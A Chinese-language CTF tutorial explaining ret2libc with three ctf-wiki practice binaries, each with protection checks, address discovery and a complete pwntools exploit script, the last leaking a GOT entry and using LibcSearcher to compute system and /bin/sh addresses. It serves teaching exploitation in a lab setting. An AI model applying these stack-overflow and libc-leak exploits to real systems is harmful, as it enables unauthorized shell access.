原理

ret2libc,即控制程序执行libc中的函数。通常是返回至某个函数的plt处或函数的具体位置(即函数对应的got表项的内容)。

一般情况下,我们会选择执行system(“/bin/sh”)。所以,我们需要知道system函数的地址。

下面由易到难给出三个ret2libc的例子:

例1

这里使用ctf wiki上的一个例题(点我下载)

checksec检查保护

checklibc1.png

检查保护,发现开启了NX保护

IDA分析

libc1.png

gets函数存在栈溢出漏洞

寻找/bin/sh

利用ROPgadget查看是否有 /bin/sh 存在:

rop.png

发现**/bin/sh**的地址是0x08048720。

寻找system

继续查找system函数:

system.png

发现system函数的地址是0x08048460。

构造思路

通过栈溢出覆盖返回地址到system函数地址,然后在后面的一个字节中写入虚假的返回地址,后面写入system函数的参数(即/bin/sh的地址)。

编写脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./ret2libc1')

system_addr = 0x08048460
bin_sh_addr = 0x08048720

payload = flat(112 * b'a', system_addr, 4 * b'a', bin_sh_addr)

p.sendline(payload)
p.interactive()

这题的特点是:给出了 /bin/sh 字符串system函数

例2

这里使用ctf wiki上的一个例题(点我下载)

本题和例1基本一样,不同之处在于没有 /bin/sh 字符串。

使用checksec查看保护

check.png

依旧开启了NX保护,栈上不可执行。

IDA分析

ida.png

发现存在gets函数栈溢出漏洞

寻找/bin/sh

bin.png

寻找/bin/sh字符串,发现没有。

寻找system函数

sys.png

system函数的地址:0x08048490。

写入 /bin/sh

找到gets函数地址,我们可以自己写入 /bin/sh

gets.png

gets函数的地址:0x08048460

buf2.png

在bss段找到全局变量buf2的地址:0x0804A080。

构造思路

现在,我们拥有了gets函数、system函数、buf2的地址。我们只需要利用gets函数将**/bin/sh写入buf2,然后调用system函数,让buf2作为system函数的参数**即可成功执行shell。

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p = process('./ret2libc2')

system_addr = 0x08048490
gets_addr = 0x08048460
buf2_addr = 0x0804A080

payload = flat(112 * b'a', gets_addr, system_addr, buf2_addr, buf2_addr)

//这是一种构造方法,gets函数和system函数的结构是:
函数地址 + 函数返回地址 + 参数(低地址到高地址)

//对于更多个函数调用的情况,一般要借助pop ret。

p.sendline(payload)
p.interactive()

本题的特点是:有system函数地址,没有 /bin/sh 字符串

例3

这里使用ctf wiki上的一个例题(点我下载)

此题的特点在于:既没有system,也没有 /bin/sh。

checksec查看保护

c3.png

查看保护,依旧是NX保护

IDA分析

gett.png

依旧存在gets函数栈溢出漏洞

我们需要做的是:

  • 找到system函数的地址
  • 找到/bin/sh的地址

寻找system函数地址

首先,需要知道以下两个知识点:

  • system函数属于libc,而libc.so动态链接库中的函数之间相对偏移固定
  • 即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位不变。

如果我们知道libc中某个函数的地址,就可以确定libc中其它函数地址

如何得到libc中某个函数的地址呢?我们常使用got表泄露,即输出某个函数got表项的内容

由于libc的延迟绑定机制,我们需要泄露已执行过的函数

但是,这样手动操作过于麻烦,我们使用libc利用工具:LibcSearcher

构造思路

我们泄露__libc_start_main的地址,因为它是程序最初被执行的地方:

  1. 泄露__libc_start_main地址
  2. 通过LibSearcher获取libc版本(有了版本就知道相对偏移地址)
  3. 获取 system函数 的地址 和 /bin/sh 的地址
  4. 再次执行程序
  5. 触发栈溢出执行 system(‘/bin/sh’)

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import LibcSearcher

p = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print('leak __libc_start_main addr and return to main')

payload = flat([112 * b'A', puts_plt, main, libc_start_main_got])
p.sendlineafter('Can you find it !?', payload)

print("get the related addr")

libc_start_main_addr = u32(p.recv()[0:4])

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)

//利用的原理:实际地址 = 基地址 + 偏移地址
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

print('get shell')
payload = flat([104 * b'a', system_addr, 0xaaaabbbb, bin_sh_addr])
p.sendline(payload)
p.interactive()

本题既没给system,也没给/bin/sh。

需要我们通过已泄露的函数地址libc中寻找system函数和/bin/sh地址

然后通过栈溢出漏洞控制程序执行system函数拿下shell。

(目前新题都会给libc文件,不需要我们去找libc版本)

在线LibcSearcher: